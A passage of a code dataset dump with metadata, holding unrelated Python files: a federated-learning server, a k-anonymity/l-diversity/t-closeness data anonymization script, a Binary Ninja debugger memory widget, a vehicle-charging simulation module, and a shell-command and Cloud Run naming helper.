{"api_name": "torch.load", "line_number": 80, "usage_type": "call"}, {"api_name": "semseg.data_loader_torchio.TorchIODataLoader3DValidation", "line_number": 85, "usage_type": "call"}, {"api_name": "config.config", "line_number": 85, "usage_type": "argument"}, {"api_name": "semseg.train_torchio.val_model", "line_number": 86, "usage_type": "call"}, {"api_name": "config.config", "line_number": 87, "usage_type": "argument"}, {"api_name": "torch.save", "line_number": 91, "usage_type": "call"}, {"api_name": "config.paths.logs_folder", "line_number": 91, "usage_type": "argument"}, {"api_name": "numpy.mean", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 98, "usage_type": "call"}]} +{"seq_id": "586811597", "text": "import copy\n\nimport numpy as np\nimport torch\nfrom torch.utils.data import DataLoader\nimport torch.nn.functional as F\n\nfrom model.Network import NN, MLP_SketchLinear, CNNCifar, CNNMnist, CNNCifar_Sketch, CNNMnist_Sketch\n\n\nclass Server:\n # build a server\n # broadcast parameters to clients\n # aggregate parameters collected from clients\n # update model parameters\n # test the global model after each communication round\n\n \n def __init__(self, clients, test_data, args):\n self.args = args\n self.clients = clients\n self.test_data = test_data\n self.clients_data_numbers = np.array([client.size() for client in self.clients])\n self.working_client = None\n self.init_paras()\n\n def init_paras(self):\n\n if self.args.model_type == 'NN':\n self.server_model = NN(self.args.dim_in, self.args.dim_out).to(self.args.device)\n elif self.args.model_type == 'MLP_SketchLinear':\n self.server_model = MLP_SketchLinear(self.args.dim_in, self.args.dim_out, self.args.p).to(self.args.device)\n elif self.args.model_type == 'CNN' and self.args.datatype == 'mnist':\n self.server_model = CNNMnist().to(self.args.device)\n elif self.args.model_type == 'CNN' and self.args.datatype == 'cifar':\n self.server_model = CNNCifar().to(self.args.device)\n elif self.args.model_type == 'CNN_sketch' and self.args.datatype == 'cifar':\n self.server_model = CNNCifar_Sketch(self.args.p).to(self.args.device)\n elif self.args.model_type == 'CNN_sketch' and self.args.datatype == 'mnist':\n self.server_model = CNNMnist_Sketch(self.args.p).to(self.args.device)\n self.server_model.train()\n self.global_weights = copy.deepcopy(self.server_model.state_dict())\n\n # collect local gradients from the selected clients in each communicaiton rounds\n def get_grads(self):\n self.local_grads = [self.clients[client_id].send_grads() for client_id in self.working_client]\n\n # randomly select some clients for training in each communicaiton rounds\n # broadcast global gradients to all selected clients\n def broadcast(self):\n num_client = int(len(self.clients) * self.args.sample_rate)\n self.working_client = np.random.choice(len(self.clients), num_client, replace=False)\n for client_id in self.working_client:\n self.clients[client_id].get_paras(copy.deepcopy(self.global_weights))\n\n\n # compute the average of the collected gradients \n def _average(self, x):\n total_data_number = sum(self.clients_data_numbers[self.working_client])\n x_avg = copy.deepcopy(x[0])\n for k in x_avg.keys():\n x_avg[k] *= int(self.clients_data_numbers[self.working_client[0]])\n for k in x_avg.keys():\n for i in range(1, len(x)):\n x_avg[k] += x[i][k] * int(self.clients_data_numbers[self.working_client[i]])\n x_avg[k] = torch.div(x_avg[k], int(total_data_number))\n return x_avg\n\n # server updates the model parameters using averaged gradients\n def update_paras(self):\n self.get_grads()\n g_avg = self.average_grads()\n for k in g_avg.keys():\n self.global_weights[k] = self.global_weights[k] + g_avg[k]\n self.server_model.load_state_dict(self.global_weights)\n\n def average_grads(self):\n return self._average(self.local_grads)\n\n # clients train the local models on local date then send the gradients to server\n # server aggregates local gradients and updates the global model then sends global parameters to clients\n # server tests the global model after each communication rounds\n def train(self):\n accs, losses = [], []\n round = self.args.round\n for i in range(round):\n print('server round', i)\n self.broadcast()\n for client_id in self.working_client:\n print('client', client_id)\n client = self.clients[client_id]\n train_loss, train_acc = client.train(i)\n print('client', client_id, ' -- ', 'train loss:', train_loss, 'train_acc:', train_acc)\n self.update_paras()\n acc_test, test_loss = self.test()\n accs.append(str(float(acc_test)) + '\\n')\n losses.append(str(float(test_loss)) + '\\n')\n if acc_test >= self.args.target or i == (round-1):\n open('data/results/accs_' + self.args.datatype + self.args.model_type + self.args.datatype + '_lr_' + str(self.args.sample_rate)\n + 'target_acc_' + str(self.args.target), 'w').writelines(accs)\n open('data/results/losses_' + self.args.datatype + self.args.model_type + self.args.datatype + '_lr_' + str(self.args.sample_rate)\n + 'target_acc_' + str(self.args.target), 'w').writelines(losses)\n print('Round {:3d}, Average loss {:.4f}'.format(i, test_loss))\n break\n \n\n # test the trained model with test data\n def test(self):\n self.server_model.eval()\n test_data_loader = DataLoader(self.test_data, batch_size=self.args.test_batch_size)\n test_loss = 0\n correct = 0\n for idx, (data, target) in enumerate(test_data_loader):\n if self.args.gpu != -1 and torch.cuda.is_available():\n data, target = data.cuda(), target.cuda()\n data, target = data.to(self.args.device), target.to(self.args.device)\n log_probs = self.server_model(data)\n # sum up batch loss\n test_loss += F.cross_entropy(log_probs, target, reduction='sum').item()\n # get the index of the max log-probability\n y_pred = log_probs.data.max(1, keepdim=True)[1]\n correct += y_pred.eq(target.data.view_as(y_pred)).sum()\n test_loss /= len(test_data_loader.dataset)\n accuracy = 100.00 * correct.float() / len(test_data_loader.dataset)\n if self.args.verbose:\n print('\\nTest set: Average loss: {:.4f} \\nAccuracy: {}/{} ({:.4f}%)\\n'.format(\n test_loss, correct, len(test_data_loader.dataset), accuracy))\n return accuracy, test_loss\n", "sub_path": "cifa_cnn_sketch/model/Server.py", "file_name": "Server.py", "file_ext": "py", "file_size_in_byte": 6192, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.array", "line_number": 23, "usage_type": "call"}, {"api_name": "model.Network.NN", "line_number": 30, "usage_type": "call"}, {"api_name": "model.Network.MLP_SketchLinear", "line_number": 32, "usage_type": "call"}, {"api_name": "model.Network.CNNMnist", "line_number": 34, "usage_type": "call"}, {"api_name": "model.Network.CNNCifar", "line_number": 36, "usage_type": "call"}, {"api_name": "model.Network.CNNCifar_Sketch", "line_number": 38, "usage_type": "call"}, {"api_name": "model.Network.CNNMnist_Sketch", "line_number": 40, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 52, "usage_type": "attribute"}, {"api_name": "copy.deepcopy", "line_number": 54, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.div", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 114, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 114, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.cross_entropy", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 119, "usage_type": "name"}]} +{"seq_id": "649529499", "text": "from numpy.core import numeric\nimport pandas as pd\nimport matplotlib.pylab as pl\nimport matplotlib.patches as patches\nimport csv\ncategorical = set((\n 'learned_language',\n 'native_language',\n 'topic',\n))\n\ndf = pd.read_csv('learned_language_topic_new.csv', sep=';',quotechar='\"', engine='python');\n\nfor name in categorical:\n df[name] = df[name].astype('category')\n\ndef get_spans(df, partition, scale=None):\n \n spans = {}\n for column in df.columns:\n if column in categorical:\n span = len(df[column][partition].unique())\n else:\n span = df[column][partition].max()-df[column][partition].min()\n if scale is not None:\n span = span/scale[column]\n spans[column] = span\n return spans\n \nfull_spans = get_spans(df, df.index)\nprint(full_spans)\n\n\n\ndef split(df, partition, column):\n\n dfp = df[column][partition]\n if column in categorical:\n values = dfp.unique()\n lv = set(values[:len(values)//2])\n rv = set(values[len(values)//2:])\n return dfp.index[dfp.isin(lv)], dfp.index[dfp.isin(rv)]\n else: \n median = dfp.median()\n dfl = dfp.index[dfp < median]\n dfr = dfp.index[dfp >= median]\n return (dfl, dfr)\n\ndef is_k_anonymous(df, partition, sensitive_column, k=1):\n\n if len(partition) < k:\n # we cannot split this partition further...\n return False\n return True\n\ndef partition_dataset(df, feature_columns, sensitive_column, scale, is_valid):\n finished_partitions = []\n partitions = [df.index]\n while partitions:\n partition = partitions.pop(0)\n spans = get_spans(df[feature_columns], partition, scale)\n for column, span in sorted(spans.items(), key=lambda x:-x[1]):\n #we try to split this partition along a given column\n lp, rp = split(df, partition, column)\n if not is_valid(df, lp, sensitive_column) or not is_valid(df, rp, sensitive_column):\n continue\n # the split is valid, we put the new partitions on the list and continue\n partitions.extend((lp, rp))\n break\n else:\n # no split was possible, we add the partition to the finished partitions\n finished_partitions.append(partition)\n return finished_partitions\n\nfeature_columns = ['learned_language', 'topic']\nsensitive_column = 'native_language'\n\nfinished_partitions = partition_dataset(df, feature_columns, sensitive_column, full_spans, is_k_anonymous) \n\n\ndef agg_categorical_column(series):\n ## should be something else for numerical\n ##print([series])\n return series\n\ndef agg_numerical_column(series):\n return [series.mean(numeric_only=None)]\n\ndef build_anonymized_dataset(df, partitions, feature_columns, sensitive_column, max_partitions=None):\n aggregations = {}\n for column in feature_columns:\n if column in categorical:\n aggregations[column] = agg_categorical_column\n else:\n aggregations[column] = agg_numerical_column\n rows = []\n for i, partition in enumerate(partitions):\n ##print(partition)\n if i % 100 == 1:\n print(\"Finished {} partitions...\".format(i))\n if max_partitions is not None and i > max_partitions:\n break\n grouped_columns = df.loc[partition].agg(aggregations, squeeze=False)\n sensitive_counts = df.loc[partition].groupby(sensitive_column).agg({sensitive_column : 'count'})\n values = grouped_columns.iloc[0].to_dict()\n \n for sensitive_value, count in sensitive_counts[sensitive_column].items():\n if count == 0:\n continue\n values.update({\n sensitive_column : sensitive_value,\n 'count' : count,\n })\n rows.append(values.copy())\n \n return pd.DataFrame(rows)\n\n\ndfn = build_anonymized_dataset(df, finished_partitions, feature_columns, sensitive_column)\n#### EXPORT TO CSV \ndfn.to_csv(r'export_anonymized-data_k_anonymity_group_users.csv_', index = False, header=True)\nprint(\"########K-ANONYMITY########\")\nprint(dfn.sort_values(feature_columns+[sensitive_column]))\n\n#----------------l-diversity----------------#\ndef diversity(df, partition, column):\n return len(df[column][partition].unique())\n\n\ndef is_l_diverse(df, partition, sensitive_column, l=2):\n return diversity(df, partition, sensitive_column) >= l\n\n\nfinished_l_diverse_partitions = partition_dataset(df, feature_columns, sensitive_column, full_spans, lambda *args: is_k_anonymous(*args) and is_l_diverse(*args))\n\ncolumn_x, column_y = feature_columns[:2]\n\nprint(len(finished_l_diverse_partitions))\n\ndfl = build_anonymized_dataset(df, finished_l_diverse_partitions, feature_columns, sensitive_column)\n#### EXPORT TO CSV \n##dfl.to_csv(r'export_anonymized-data_l_diversity_group_users.csv', index = False, header=True)\nprint(\"########l-DIVERSITY########\")\nprint(dfl.sort_values([column_x, column_y, sensitive_column]))\n\nglobal_freqs = {}\ntotal_count = float(len(df))\ngroup_counts = df.groupby(sensitive_column)[sensitive_column].agg('count')\nfor value, count in group_counts.to_dict().items():\n p = count/total_count\n global_freqs[value] = p\n\n\ndef t_closeness(df, partition, column, global_freqs):\n total_count = float(len(partition))\n d_max = None\n group_counts = df.loc[partition].groupby(column)[column].agg('count')\n for value, count in group_counts.to_dict().items():\n p = count/total_count\n d = abs(p-global_freqs[value])\n if d_max is None or d > d_max:\n d_max = d\n return d_max\n\ndef is_t_close(df, partition, sensitive_column, global_freqs, p=0.2):\n if not sensitive_column in categorical:\n raise ValueError(\"this method only works for categorical values\")\n return t_closeness(df, partition, sensitive_column, global_freqs) <= p\n\nfinished_t_close_partitions = partition_dataset(df, feature_columns, sensitive_column, full_spans, lambda *args: is_k_anonymous(*args) and is_t_close(*args, global_freqs))\n\nprint(len(finished_t_close_partitions))\n\ndft = build_anonymized_dataset(df, finished_t_close_partitions, feature_columns, sensitive_column)\n\nprint(\"########t-CLOSENESS########\")\nprint(dft.sort_values([column_x, column_y, sensitive_column]))\n\n#### EXPORT TO CSV \ndft.to_csv(r'export_anonymized-data_t_closeness.csv', index = False, header=True)\n\ndef build_indexes(df):\n indexes = {}\n for column in categorical:\n values = sorted(df[column].unique())\n indexes[column] = { x : y for x, y in zip(values, range(len(values)))}\n return indexes\n\ndef get_coords(df, column, partition, indexes, offset=0.1):\n if column in categorical:\n sv = df[column][partition].sort_values()\n l, r = indexes[column][sv[sv.index[0]]], indexes[column][sv[sv.index[-1]]]+1.0\n else:\n sv = df[column][partition].sort_values()\n next_value = sv[sv.index[-1]]\n larger_values = df[df[column] > next_value][column]\n if len(larger_values) > 0:\n next_value = larger_values.min()\n l = sv[sv.index[0]]\n r = next_value\n l -= offset\n r += offset\n return l, r\n\ndef get_partition_rects(df, partitions, column_x, column_y, indexes, offsets=[0.1, 0.1]):\n rects = []\n for partition in partitions:\n xl, xr = get_coords(df, column_x, partition, indexes, offset=offsets[0])\n yl, yr = get_coords(df, column_y, partition, indexes, offset=offsets[1])\n rects.append(((xl, yl),(xr, yr)))\n return rects\n\ndef get_bounds(df, column, indexes, offset=1.0):\n if column in categorical:\n return 0-offset, len(indexes[column])+offset\n return df[column].min()-offset, df[column].max()+offset\n\nindexes = build_indexes(df)\n\ndef plot_rects(df, ax, rects, column_x, column_y, edgecolor='black', facecolor='none'):\n for (xl, yl),(xr, yr) in rects:\n ax.add_patch(patches.Rectangle((xl,yl),xr-xl,yr-yl,linewidth=1,edgecolor=edgecolor,facecolor=facecolor, alpha=0.5))\n ax.set_xlim(*get_bounds(df, column_x, indexes))\n ax.set_ylim(*get_bounds(df, column_y, indexes))\n ax.set_xlabel(column_x)\n ax.set_ylabel(column_y)\n\n\n", "sub_path": "anonymization.py", "file_name": "anonymization.py", "file_ext": "py", "file_size_in_byte": 8163, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pandas.read_csv", "line_number": 12, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.patches.Rectangle", "line_number": 222, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 222, "usage_type": "name"}]} +{"seq_id": "651154118", "text": "from PySide2 import QtCore\nfrom PySide2.QtCore import Qt, QAbstractItemModel, QModelIndex, QSize\nfrom PySide2.QtGui import QPalette, QFontMetricsF\nfrom PySide2.QtWidgets import QApplication, QHBoxLayout, QVBoxLayout, QWidget, QTableView, QItemDelegate, QStyle, QHeaderView, QAbstractItemView\n\nimport binaryninja\nimport binaryninjaui\nfrom binaryninja import BinaryView\nfrom binaryninjaui import DockContextHandler, UIActionHandler, LinearView, ViewFrame\n\nfrom . import widget\nfrom .. import binjaplug\n\nclass DebugMemoryWidget(QWidget, DockContextHandler):\n\tdef __init__(self, parent, name, data):\n\t\tif not type(data) == binaryninja.binaryview.BinaryView:\n\t\t\traise Exception('expected widget data to be a BinaryView')\n\n\t\tself.bv = data\n\n\t\tmemory_view = binjaplug.get_state(data).memory_view\n\n\t\tQWidget.__init__(self, parent)\n\t\tDockContextHandler.__init__(self, self, name)\n\n\t\tself.editor = LinearView(memory_view, ViewFrame.viewFrameForWidget(self))\n\t\tself.actionHandler = UIActionHandler()\n\t\tself.actionHandler.setupActionHandler(self)\n\n\t\tlayout = QVBoxLayout()\n\t\tlayout.setContentsMargins(0, 0, 0, 0)\n\t\tlayout.setSpacing(0)\n\t\tlayout.addWidget(self.editor)\n\t\tself.setLayout(layout)\n\n\tdef notifyOffsetChanged(self, offset):\n\t\tpass\n\n\tdef notifyMemoryChanged(self):\n\t\tdebug_state = binjaplug.get_state(self.bv)\n\n\t\t# Refresh the editor\n\t\tif not debug_state.connected:\n\t\t\tself.editor.navigate(0)\n\t\t\treturn\n\n\t\tself.editor.navigate(debug_state.stack_pointer)\n\n\tdef shouldBeVisible(self, view_frame):\n\t\tif view_frame is None:\n\t\t\treturn False\n\t\telse:\n\t\t\treturn True\n\n", "sub_path": "dockwidgets/MemoryWidget.py", "file_name": "MemoryWidget.py", "file_ext": "py", "file_size_in_byte": 1557, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "PySide2.QtWidgets.QWidget", "line_number": 14, "usage_type": "name"}, {"api_name": "binaryninjaui.DockContextHandler", "line_number": 14, "usage_type": "name"}, {"api_name": "binaryninja.binaryview", "line_number": 16, "usage_type": "attribute"}, {"api_name": "PySide2.QtWidgets.QWidget.__init__", "line_number": 23, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QWidget", "line_number": 23, "usage_type": "name"}, {"api_name": "binaryninjaui.DockContextHandler.__init__", "line_number": 24, "usage_type": "call"}, {"api_name": "binaryninjaui.DockContextHandler", "line_number": 24, "usage_type": "name"}, {"api_name": "binaryninjaui.LinearView", "line_number": 26, "usage_type": "call"}, {"api_name": "binaryninjaui.ViewFrame.viewFrameForWidget", "line_number": 26, "usage_type": "call"}, {"api_name": "binaryninjaui.ViewFrame", "line_number": 26, "usage_type": "name"}, {"api_name": "binaryninjaui.UIActionHandler", "line_number": 27, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QVBoxLayout", "line_number": 30, "usage_type": "call"}]} +{"seq_id": "79900371", "text": "import simpy\nimport datetime\nimport numpy as np\n\nfrom odysseus.utils.geospatial_utils import get_od_distance\n\n\ndef init_charge(booking_request, vehicle, beta):\n\tcharge = {}\n\tcharge[\"plate\"] = vehicle.plate\n\tcharge[\"start_time\"] = booking_request[\"end_time\"]\n\tcharge[\"date\"] = charge[\"start_time\"].date()\n\tcharge[\"hour\"] = charge[\"start_time\"].hour\n\tcharge[\"day_hour\"] = charge[\"start_time\"].replace(minute=0, second=0, microsecond=0)\n\tcharge[\"start_soc\"] = vehicle.soc.level\n\tcharge[\"end_soc\"] = beta\n\tcharge[\"soc_delta\"] = charge[\"end_soc\"] - charge[\"start_soc\"]\n\tcharge[\"soc_delta_kwh\"] = vehicle.tanktowheel_energy_from_perc(charge[\"soc_delta\"])\n\treturn charge\n\n\nclass ChargingPrimitives:\n\n\tdef __init__(self, env, sim):\n\n\t\tself.env = env\n\n\t\tself.simInput = sim.simInput\n\n\t\tself.vehicles_soc_dict = sim.vehicles_soc_dict\n\n\t\tself.vehicles_list = sim.vehicles_list\n\n\t\tself.charging_stations_dict = sim.charging_stations_dict\n\n\t\tself.zone_dict = sim.zone_dict\n\n\t\tif self.simInput.supply_model_conf[\"battery_swap\"] \\\n\t\t\t\tand self.simInput.supply_model_conf[\"scooter_relocation\"]:\n\t\t\tself.scooterRelocationStrategy = sim.scooterRelocationStrategy\n\n\t\tself.workers = simpy.Resource(\n\t\t\tself.env,\n\t\t\tcapacity=self.simInput.supply_model_conf[\"n_workers\"]\n\t\t)\n\n\t\tif self.simInput.supply_model_conf[\"distributed_cps\"]:\n\t\t\tself.n_charging_poles_by_zone = self.simInput.supply_model.n_charging_poles_by_zone\n\t\t\tself.charging_poles_dict = {}\n\t\t\tfor zone, n in self.n_charging_poles_by_zone.items():\n\t\t\t\tif n > 0:\n\t\t\t\t\tself.charging_poles_dict[zone] = simpy.Resource(\n\t\t\t\t\t\tself.env,\n\t\t\t\t\t\tcapacity=n\n\t\t\t\t\t)\n\n\t\tself.n_charges = 0\n\t\tself.sim_charges = []\n\t\tself.sim_unfeasible_charge_bookings = []\n\n\t\tself.n_vehicles_charging_system = 0\n\t\tself.n_vehicles_charging_users = 0\n\t\tself.dead_vehicles = set()\n\t\tself.n_dead_vehicles = 0\n\n\t\tself.list_system_charging_bookings = []\n\t\tself.list_users_charging_bookings = []\n\n\t\tself.charging_return_distance = 0\n\t\tself.charging_outward_distance = 0\n\n\t\tself.sim_metrics = sim.sim_metrics\n\n\tdef charge_vehicle(\n\t\t\tself,\n\t\t\tcharge_dict\n\t):\n\n\t\tcharge = charge_dict[\"charge\"]\n\t\tresource = charge_dict[\"resource\"]\n\t\tvehicle = charge_dict[\"vehicle\"]\n\t\toperator = charge_dict[\"operator\"]\n\t\tzone_id = charge_dict[\"zone_id\"]\n\t\ttimeout_outward = charge_dict[\"timeout_outward\"]\n\t\ttimeout_return = charge_dict[\"timeout_return\"]\n\t\tcr_soc_delta = charge_dict[\"cr_soc_delta\"]\n\n\t\tself.sim_metrics.update_metrics(\"cum_relo_ret_t\", timeout_return)\n\n\t\tself.charging_outward_distance += charge_dict[\"charging_outward_distance\"]\n\n\t\tdef check_queuing():\n\t\t\tif self.simInput.supply_model_conf[\"queuing\"]:\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\tif resource.count < resource.capacity:\n\t\t\t\t\treturn True\n\t\t\t\telse:\n\t\t\t\t\treturn False\n\n\t\tcharge[\"operator\"] = operator\n\t\tcharge[\"zone_id\"] = zone_id\n\t\tcharge[\"timeout_outward\"] = timeout_outward\n\t\tcharge[\"timeout_return\"] = timeout_return\n\t\tcharge[\"cr_soc_delta\"] = cr_soc_delta\n\t\tcharge[\"cr_soc_delta_kwh\"] = vehicle.tanktowheel_energy_from_perc(cr_soc_delta)\n\n\t\tif self.simInput.supply_model_conf[\"battery_swap\"]:\n\t\t\tif operator == \"system\":\n\t\t\t\tif check_queuing():\n\t\t\t\t\twith self.workers.request() as worker_request:\n\t\t\t\t\t\tyield worker_request\n\t\t\t\t\t\tself.n_vehicles_charging_system += 1\n\t\t\t\t\t\tyield self.env.timeout(charge[\"timeout_outward\"])\n\t\t\t\t\t\t#self.charging_outward_distance+=charge[\"charging_outward_distance\"]\n\t\t\t\t\t\tyield self.env.timeout(charge[\"duration\"])\n\t\t\t\t\t\tself.n_vehicles_charging_system -= 1\n\t\t\t\t\t\tyield self.env.timeout(charge[\"timeout_return\"])\n\t\t\t\t\t\t#self.vehicles_soc_dict[vehicle_id] = charge[\"end_soc\"]\n\t\t\t\t\t\tself.vehicles_list[vehicle.plate].charge(charge[\"soc_delta\"])\n\t\t\telif operator == \"users\":\n\t\t\t\tself.n_vehicles_charging_users += 1\n\t\t\t\tyield self.env.timeout(charge[\"duration\"])\n\t\t\t\t#self.vehicles_soc_dict[vehicle_id] = charge[\"end_soc\"]\n\t\t\t\tself.vehicles_list[vehicle.plate].charge(charge[\"soc_delta\"])\n\t\t\t\tself.n_vehicles_charging_users -= 1\n\n\t\telse:\n\t\t\tif operator == \"system\":\n\t\t\t\tif check_queuing():\n\t\t\t\t\twith self.workers.request() as worker_request:\n\t\t\t\t\t\tyield worker_request\n\t\t\t\t\t\tyield self.env.timeout(charge[\"timeout_outward\"])\n\t\t\t\t\t\t#self.charging_outward_distance += charge[\"charging_outward_distance\"]\n\t\t\t\t\t\tcharge[\"start_soc\"] -= charge[\"cr_soc_delta\"]\n\t\t\t\t\t\tyield self.env.timeout(charge[\"timeout_return\"])\n\t\t\t\t\t\t#self.vehicles_soc_dict[vehicle_id] = charge[\"end_soc\"]\n\t\t\t\t\t\tvehicle.charge(charge[\"soc_delta\"])\n\t\t\t\t\t\tcharge[\"end_soc\"] -= charge[\"cr_soc_delta\"]\n\n\t\t\t\t\t# with resource.request() as charging_request:\n\t\t\t\t\t# \tyield charging_request\n\t\t\t\t\t# \t# self.n_vehicles_charging_system += 1\n\t\t\t\t\t# \t# yield self.env.timeout(charge[\"duration\"])\n\n\t\t\t\t\tself.n_vehicles_charging_system += 1\n\t\t\t\t\tself.zone_dict[charge[\"zone_id\"]].add_vehicle(\n\t\t\t\t\t\tcharge[\"start_time\"] + datetime.timedelta(seconds=charge[\"duration\"])\n\t\t\t\t\t)\n\t\t\t\t\tyield self.env.process(\n\t\t\t\t\t\tself.charging_stations_dict[zone_id].charge(\n\t\t\t\t\t\t\tvehicle,\n\t\t\t\t\t\t\tcharge[\"start_time\"],\n\t\t\t\t\t\t\tcharge[\"cr_soc_delta\"],\n\t\t\t\t\t\t\tcharge[\"duration\"]\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\n\t\t\t\t\tself.n_vehicles_charging_system -= 1\n\n\t\t\telif operator == \"users\":\n\t\t\t\tif resource.count < resource.capacity:\n\t\t\t\t\twith resource.request() as charging_request:\n\t\t\t\t\t\tyield charging_request\n\t\t\t\t\t\tself.n_vehicles_charging_users += 1\n\t\t\t\t\t\tyield self.env.timeout(charge[\"duration\"])\n\t\t\t\t\t#self.vehicles_soc_dict[vehicle_id] = charge[\"end_soc\"]\n\t\t\t\t\tself.vehicles_list[vehicle.plate].charge(charge[\"soc_delta\"])\n\t\t\t\t\tself.n_vehicles_charging_users -= 1\n\n\t\tcharge[\"end_time\"] = charge[\"start_time\"] + datetime.timedelta(seconds=charge[\"duration\"])\n\n\t\tif \"save_history\" in self.simInput.demand_model_config:\n\t\t\tif self.simInput.demand_model_config[\"save_history\"]:\n\t\t\t\tself.sim_charges += [charge]\n\t\tself.n_charges += 1\n\n\tdef check_system_charge(self, booking_request, vehicle, charging_strategy):\n\t\tif charging_strategy == \"reactive\":\n\t\t\tif vehicle.soc.level < self.simInput.supply_model_conf[\"alpha\"]:\n\t\t\t\tcharge = init_charge(\n\t\t\t\t\tbooking_request,\n\t\t\t\t\tvehicle,\n\t\t\t\t\tself.simInput.supply_model_conf[\"beta\"]\n\t\t\t\t)\n\t\t\t\treturn True, charge\n\t\t\telse:\n\t\t\t\treturn False, None\n\t\telse:\n\t\t\tprint(\"No such charging strategy supported\")\n\t\t\texit()\n\n\tdef check_user_charge(self, booking_request, vehicle):\n\n\t\tif booking_request[\"destination_id\"] in self.charging_stations_dict:\n\t\t\tif booking_request[\"end_soc\"] < self.simInput.supply_model_conf[\"beta\"]:\n\t\t\t\tif np.random.binomial(1, self.simInput.supply_model_conf[\"willingness\"]):\n\t\t\t\t\tcharge = init_charge(\n\t\t\t\t\t\tbooking_request,\n\t\t\t\t\t\tself.vehicles_list[vehicle],\n\t\t\t\t\t\tself.simInput.supply_model_conf[\"beta\"]\n\t\t\t\t\t)\n\t\t\t\t\treturn True, charge\n\t\t\t\telse:\n\t\t\t\t\treturn False, None\n\t\t\telse:\n\t\t\t\treturn False, None\n\t\telse:\n\t\t\treturn False, None\n\n\tdef get_timeout(self, origin_id, destination_id):\n\t\tdistance = get_od_distance(\n\t\t\tself.simInput.grid,\n\t\t\torigin_id,\n\t\t\tdestination_id\n\t\t)\n\t\tif distance == 0:\n\t\t\tdistance = self.simInput.demand_model_config[\"bin_side_length\"]\n\t\treturn distance / 1000 / self.simInput.avg_speed_kmh_mean * 3600\n\n\tdef get_cr_soc_delta(self, origin_id, destination_id, vehicle):\n\t\tdistance = get_od_distance(\n\t\t\tself.simInput.grid,\n\t\t\torigin_id,\n\t\t\tdestination_id\n\t\t)\n\t\tif distance == 0:\n\t\t\tdistance = self.simInput.demand_model_config[\"bin_side_length\"]\n\t\treturn vehicle.consumption_to_percentage(vehicle.distance_to_consumption(distance / 1000))\n\n\tdef get_distance(self, origin_id, destination_id):\n\t\tdistance = get_od_distance(\n\t\t\tself.simInput.grid,\n\t\t\torigin_id,\n\t\t\tdestination_id\n\t\t)\n\t\tif distance == 0:\n\t\t\tdistance = self.simInput.demand_model_config[\"bin_side_length\"]\n\t\treturn distance\n", "sub_path": "odysseus/simulator/simulation/charging_primitives.py", "file_name": "charging_primitives.py", "file_ext": "py", "file_size_in_byte": 7565, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "simpy.Resource", "line_number": 42, "usage_type": "call"}, {"api_name": "simpy.Resource", "line_number": 52, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 148, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.random.binomial", "line_number": 197, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 197, "usage_type": "attribute"}, {"api_name": "odysseus.utils.geospatial_utils.get_od_distance", "line_number": 212, "usage_type": "call"}, {"api_name": "odysseus.utils.geospatial_utils.get_od_distance", "line_number": 222, "usage_type": "call"}, {"api_name": "odysseus.utils.geospatial_utils.get_od_distance", "line_number": 232, "usage_type": "call"}]} +{"seq_id": "573032844", "text": "import re\nimport json\nimport subprocess\n\nfrom rich.console import Console\n\n# The Rich console to be used in the scripts for pretty printing\nconsole = Console(highlight=False)\n\ndef run_shell_command(command, cwd=None, env=None, shell_mode=False):\n proc = subprocess.Popen(\n command,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n shell=shell_mode,\n cwd=cwd,\n env=env,\n )\n stdout, stderr = proc.communicate()\n if proc.returncode == 0:\n try:\n return json.loads(stdout.decode(\"utf-8\")), stderr.decode(\"utf-8\")\n except json.JSONDecodeError:\n return stdout.decode(\"utf-8\"), stderr.decode(\"utf-8\")\n else:\n raise Exception(\n f'Failed to run command {\" \".join(command)}: {stderr.decode(\"utf-8\")}'\n )\n\n\ndef get_configuration_value(config_file):\n with open(config_file, \"r\") as file:\n configuration = json.loads(file.read())\n return configuration\n\n\ndef generate_cloud_run_names(\n deployment_name, project_id=None, bento_name=None, bento_version=None\n):\n \"Generate the service name and grc tag that is used for deployments\"\n\n service_name = re.sub(\"[^a-z0-9-]\", \"-\", deployment_name.lower())\n gcr_tag = re.sub(\n \"[^a-z0-9-:_]./\",\n \"-\",\n f\"gcr.io/{project_id}/{bento_name}:{bento_version}\".lower(),\n )\n\n return service_name, gcr_tag\n", "sub_path": "__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 1394, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "rich.console.Console", "line_number": 8, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 11, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 13, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 14, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 22, "usage_type": "call"}, {"api_name": "json.JSONDecodeError", "line_number": 23, "usage_type": 